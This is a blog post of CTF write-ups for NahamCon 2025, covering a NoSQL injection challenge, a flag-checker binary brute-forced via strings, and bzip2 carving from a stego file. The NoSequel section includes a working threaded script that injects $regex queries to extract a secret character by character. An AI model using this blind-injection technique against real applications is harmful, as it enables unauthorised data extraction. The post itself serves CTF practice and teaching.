Post

NahamCon 2025 CTF

Solutions for some challenges from NahamCon 2025 CTF.

NahamCon 2025 CTF

I played the CTF with my friends over at FetchOrbisX :D

Only got to play for a few hours over the weekend, but I had fun solving a few of them.

NoSequel (Web)

This challenge about querying NoSQL to obtain the flag from the flag collections. We’re only able to use $regex on the flag collection, so we can’t get the query’s output directly. Instead, we can use $regex to match the flag character-by-character.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import string
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

charset = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
url = 'http://challenge.nahamcon.com:32707/search'

flag = "flag{"
lock = threading.Lock()

def test_char(char, current_flag):
    attempt = current_flag + char
    payload = {
        "query": f'flag:{{$regex:"^{attempt}"}}',
        "collection": "flags"
    }
    try:
        response = requests.post(url, data=payload)
        if "Pattern matched" in response.text:
            return char
    except Exception:
        pass
    return None

def find_next_char(current_flag):
    with ThreadPoolExecutor(max_workers=20) as executor:
        futures = {executor.submit(test_char, c, current_flag): c for c in charset}
        for future in as_completed(futures):
            result = future.result()
            if result:
                return result
    return None

while True:
    sys.stdout.write(f"\r[*] Current flag: {flag}")
    sys.stdout.flush()
    next_char = find_next_char(flag)
    if next_char:
        flag += next_char
        print(f"\r[+] Found: {flag}")
        if next_char == "}":
            print(f"[✓] Final flag: {flag}")
            break
    else:
        print("\n[!] No matching character found. Exiting.")
        break

FlagsFlagsFlags (Reversing)

This is a flag checker challenge, and we’re given a stripped go binary. If we run strings on it, we’ll see a huge bunch of flags (literally about 100k). I didn’t want to reverse the challenge’s flag checking logic, and based on the challenge description, it was a pretty good guess that one of these flags would be the answer.

So, we brute-forced. 🦍🦍🦍

Get the flags:

1
strings flagsflagsflags | grep -oE 'flag\{[0-9a-fA-F]+\}' > flags.txt

Brute force go brrr

1
cat flags.txt | xargs -n1 -P8 -I{} sh -c 'echo "Trying {}"; echo {} | ./flagsflagsflags | grep -v "Incorrect\|Enter"' | tee -a flags.log

flag{20dec9363618a397e9b2a0bf5a35b2e3}

The Martian (Misc)

Jumbled file, stego challenge. There are multiple bzip2 blobs in the file, shown by BZh header. Make chatgpt write a script to carve the blobs then one of them has the flag image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import bz2

with open("challenge.martian", "rb") as f:
    data = f.read()

# Look for BZip2 header
marker = b'BZh91AY&SY'
start = data.find(marker)
if start != -1:
    with open("image.bz2", "wb") as f_out:
        f_out.write(data[start:])

    with open("image.bz2", "rb") as f:
        decompressed = bz2.decompress(f.read())

    with open("extracted_image.jpg", "wb") as f:
        f.write(decompressed)

    print("Image saved as extracted_image.jpg")
else:
    print("No BZip2 header found.")

This post is licensed under CC BY 4.0 by the author.